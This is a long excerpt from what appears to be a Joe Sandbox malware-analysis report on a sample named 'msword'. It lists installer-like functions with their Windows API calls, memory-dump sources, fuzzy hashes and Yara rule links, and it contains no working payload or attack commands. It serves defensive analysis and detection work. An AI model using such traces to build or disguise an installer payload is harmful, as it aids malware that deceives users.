                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: AttributesFile
                                                                            • String ID:
                                                                            • API String ID: 3188754299-0
                                                                            • Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
                                                                            • Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
                                                                            • Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
                                                                            • Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18
                                                                            Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: FileRead
                                                                            • String ID:
                                                                            • API String ID: 2738559852-0
                                                                            • Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
                                                                            • Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
                                                                            • Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
                                                                            • Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8
                                                                            Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
                                                                              • Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
                                                                              • Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
                                                                              • Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3
                                                                            • CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Char$Next$CreateDirectoryPrev
                                                                            • String ID:
                                                                            • API String ID: 4115351271-0
                                                                            • Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
                                                                            • Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
                                                                            • Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
                                                                            • Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE
                                                                            Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend
                                                                            • String ID:
                                                                            • API String ID: 3850602802-0
                                                                            • Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
                                                                            • Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
                                                                            • Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
                                                                            • Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E
                                                                            Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: FilePointer
                                                                            • String ID:
                                                                            • API String ID: 973152223-0
                                                                            • Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
                                                                            • Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
                                                                            • Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
                                                                            • Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C
                                                                            Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend
                                                                            • String ID:
                                                                            • API String ID: 3850602802-0
                                                                            • Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
                                                                            • Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
                                                                            • Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
                                                                            • Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08
                                                                            Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: CallbackDispatcherUser
                                                                            • String ID:
                                                                            • API String ID: 2492992576-0
                                                                            • Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
                                                                            • Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
                                                                            • Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
                                                                            • Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

                                                                            Non-executed Functions

                                                                            Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetDlgItem.USER32(?,000003F9), ref: 00404993
                                                                            • GetDlgItem.USER32(?,00000408), ref: 004049A0
                                                                            • GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
                                                                            • LoadBitmapW.USER32(0000006E), ref: 00404A02
                                                                            • SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
                                                                            • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
                                                                            • ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
                                                                            • SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
                                                                            • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
                                                                            • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
                                                                            • DeleteObject.GDI32(?), ref: 00404A79
                                                                            • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
                                                                            • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
                                                                            • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
                                                                            • SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
                                                                            • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
                                                                            • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
                                                                            • ShowWindow.USER32(?,00000005), ref: 00404BCF
                                                                            • SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
                                                                            • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
                                                                            • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
                                                                            • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
                                                                            • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
                                                                            • ImageList_Destroy.COMCTL32(?), ref: 00404D9C
                                                                            • GlobalFree.KERNEL32(?), ref: 00404DAC
                                                                            • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
                                                                            • SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
                                                                            • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
                                                                            • InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
                                                                            • ShowWindow.USER32(?,00000000), ref: 00404F49
                                                                            • GetDlgItem.USER32(?,000003FE), ref: 00404F54
                                                                            • ShowWindow.USER32(00000000), ref: 00404F5B
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                                            • String ID: $ @$M$N
                                                                            • API String ID: 1638840714-3479655940
                                                                            • Opcode ID: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
                                                                            • Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
                                                                            • Opcode Fuzzy Hash: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
                                                                            • Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58
                                                                            Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetDlgItem.USER32(?,000003F0), ref: 004044F9
                                                                            • IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
                                                                            • GetDlgItem.USER32(?,000003FB), ref: 00404527
                                                                            • GetAsyncKeyState.USER32(00000010), ref: 0040452E
                                                                            • GetDlgItem.USER32(?,000003F0), ref: 00404543
                                                                            • ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
                                                                            • SetWindowTextW.USER32(?,?), ref: 00404583
                                                                            • SHBrowseForFolderW.SHELL32(?), ref: 0040463D
                                                                            • lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
                                                                            • lstrcatW.KERNEL32(?,00462540), ref: 00404686
                                                                            • SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
                                                                            • CoTaskMemFree.OLE32(00000000), ref: 00404648
                                                                              • Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97
                                                                              • Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
                                                                              • Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
                                                                              • Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
                                                                              • Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3
                                                                              • Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F
                                                                            • GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
                                                                            • MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774
                                                                              • Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
                                                                            • SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
                                                                            • String ID: 82D$@%F$@rD$A
                                                                            • API String ID: 3347642858-1086125096
                                                                            • Opcode ID: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
                                                                            • Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
                                                                            • Opcode Fuzzy Hash: c0e02fddfd6f2336b8cee43e087a4f5cb21d7496477502da2ed1e77ce6b2ef00
                                                                            • Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59
                                                                            Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
                                                                            • ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
                                                                            • ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
                                                                            • lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
                                                                            • lstrcmpA.KERNEL32(name,?), ref: 00406FC7
                                                                            • CloseHandle.KERNEL32(?), ref: 004071E6
                                                                              • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                              • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
                                                                            • String ID: %s: failed opening file "%s"$GetTTFNameString$name
                                                                            • API String ID: 1916479912-1189179171
                                                                            • Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
                                                                            • Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
                                                                            • Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
                                                                            • Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64
                                                                            Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON
